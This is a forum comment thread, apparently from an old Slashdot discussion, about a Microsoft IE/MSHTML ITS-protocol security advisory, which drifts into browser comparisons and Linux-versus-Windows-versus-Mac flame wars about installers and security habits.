Notice that the moderation points are distributed as 40% offtopic, and 10% troll right now.

Yet again showing the world that those Linux zealots are scared of the truth, trying to hide your words below the threshold of many of the readers here.

Umm... the post is offtopic dude. As for the troll, that may have been a zealot.

Very curious...

[kikta]

IE 6.0 and Firefox 0.8 do indeed open up a compose email window. Mozilla 1.6, OTOH, just sits there with a broken picture icon.

I'm not sure which is more interesting - that Firefox allows it such a boneheaded thing or that Firefox allows it when Mozilla does not. Aren't both using the same version of Gecko (I'm assuming that this is a function that Gecko would handle)?

Re:Very curious...

[dolson]

Not sure if FireFox is being tested on Windows or not, but this is in the advisory:

NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other than IE on a Windows system to invoke IE to handle ITS protocol URLs.

Re:Very curious...

[esh]

Gecko, as far as I know, is only responsible to render a page. Therefore, upon seeing an img tag it will request the contents of the src attribute from the browser itself. Fetching the image for Gecko is the job of another part of the browser. Gecko itself doesn't (and shouldn't) interpret that URL. It should only complain (normally by displaying the broken image symbol) if it doesn't get an image that can be displayed.

What is this, Microsoft FUD week?

[metamatic]

What's that, mom, you want to install an application?

You downloaded the software as a .rpm file for Mandrake Linux from the web, right? OK. Double-click it and follow the instructions. Then click the button in the bottom left of the screen and look through the menus until you find the program.

*click*

Another MS product == another security problem ?

[VitaminB52]

I don't want to flame MS, but I get the impression each MS software product comes with it's own security problems.

So far the only MS products I know of that come without security problems are the dead-tree manuals and books.

Re:Meanwhile

[vsprintf]

Meanwhile, the Linuxsecurity site shows that Linux distros have multiple security advisories every week.

Your link shows two distros admitting vulnerabilities. Why are you comparing Linux distros to Windows? Windows is, supposedly, an OS, and IE is, supposedly, an integrated unremovable part of it. If you want to compare kumquats to gnumquats, then do a comparison between Windows and the Linux kernel (not distros).

Re:Windows has problemss...

[edrain]

I think you can as long as you post as AC.
On the other hand, I wouldn't swear to it.

Re:Another MS product == another security problem

[Jack Schitt]

No, actually, I think you can still hurt somebody pretty bad with one of those...

of course, when Eudora for Linux comes out...

[alizard]

Presumably, they will NOT be using a MS viewer for any purpose whatsoever.

Unfortunately, I haven't been able to get any info as to when this will be other than Customer Service saying Real Soon Now.

Re:of course, when Eudora for Linux comes out...

[Halfbaked Plan]

There's a built-in Eudora HTML renderer. It's just not as 'nice' as using the Microsoft renderer. But to be honest, I prefer the HTML mail I receive to 'have it's back broken' to a degree. Not that I use eudora anymore, as I switched to Sylpheed awhile back, which is much better (it automatically threads mailing-list subscribed messages, for one thing).

Wow. Another MSc in software engineering!!!

[master_p]

For those that haven't read the link, here it is (in a few words): if the MSHTML engine does not find a certain page, then it is redirected to another page automatically. This other page, defined by some external source, is executed in the same security context as the one that was not found.

In other words, I can send you a URL which makes it possible to automatically upload to you any software I like.

Well done Microsoft, for one more time.

mojo or IE?

[eddeye]

You're a helper monkey! This isn't helping!

Re:Windows has problemss...

[GFLPraxis]

User: "How do I get Quake 3 to run on my Mac?"
Zealot: "Oh, not another stinkin' Mac user! Mac's suck! You suck! You actually have to drag the folder from the CD to your Applications folder! Can you believe it? Not even an installer!"


Ever notice that the easier something is, the worse the reputation?

At my school, you mention Linux, people think it rules. You mention Windows, some people think its OK while others shudder. You mention Mac, and everyone goes nuts and calls you an idiot.

Even notice this? Linux and Mac OS X are both UNIX based, both rock stable, both insanely great OSes, but Mac OS X is user friendly and Linux is not. Yet, Linux has a reputation for being a super OS, while everyone thinks Mac sucks. What is with these people?

Have you ever...

[Ben Urban]

...tried running GNU/Linux on a Mac? It's heaven! Now if only I could find an ATI driver...

Re:Windows has problemss...

[MrNybbles]

To install the Linux version of Heretic II I had to click on some file called setup.sh and it installed. Sure I had to download a patch from www.lokigames.com, but you usually need to do that for Windows games anyway.

My point is that you are blaming Linux for a lousy installer. I have seen some lousy installs in Windows too.

Sure for a Linux Box you need the X Window System installed and setup correctly, but with Windows to run the latest games you need to install the latest video drivers to go with the latest DirectX 9.x you just installed (because Microsoft didn't get it right the firxt 8 times???) Most Windows game installers come bundled with the needed version of Direct X. Maybe linux installers should check that the needed components are installed an configured correctly.

Quake 3 is kind of an extreme example of how dificult too many developers make their installs.

Anonymous Coward wrote,[Q]
So, I guess the point I'm trying to make is that what seems easy and natural to Linux geeks is definitely not what regular people consider easy and natural. Hence, the preference towards Windows.
[/Q]
Double clicking on an icon isn't natural either. For those who have never seen a new computer user learn to use a mouse it goes something like this.

By the way, have you ever tried to setup Windows XP to browse smb shares on a local network when someone has coutomized it so there is not Nework Neighborhood (or whatever it is now called) on the desktop? Windows does it's fare share of stupid things too.

"Now go to My Computer."
*click*
"You need to double click it."
*click* *long pause* *click*
"You need to double click faster than that."
*click* *slightly shorter pause* *click*

Solitaire is a great training tool for those who don't catch on quickly.

Re:Why Should I care?

[kilfarsnar]

Installing a Firewall/router and some anti-virus software doesn't seem like that much effort or expense to me. It would cost maybe $200, but I understand that this is alot of money to many.

I agree that the steel doors and bars are overkill. But you still have a locking wooden door on your house right? Right now your computer just has a screen door! It sounds to me like you are careful and have been a bit lucky. But hey, go with what works. Just be aware that there is a very real chance that you will come home some day to a hacked computer.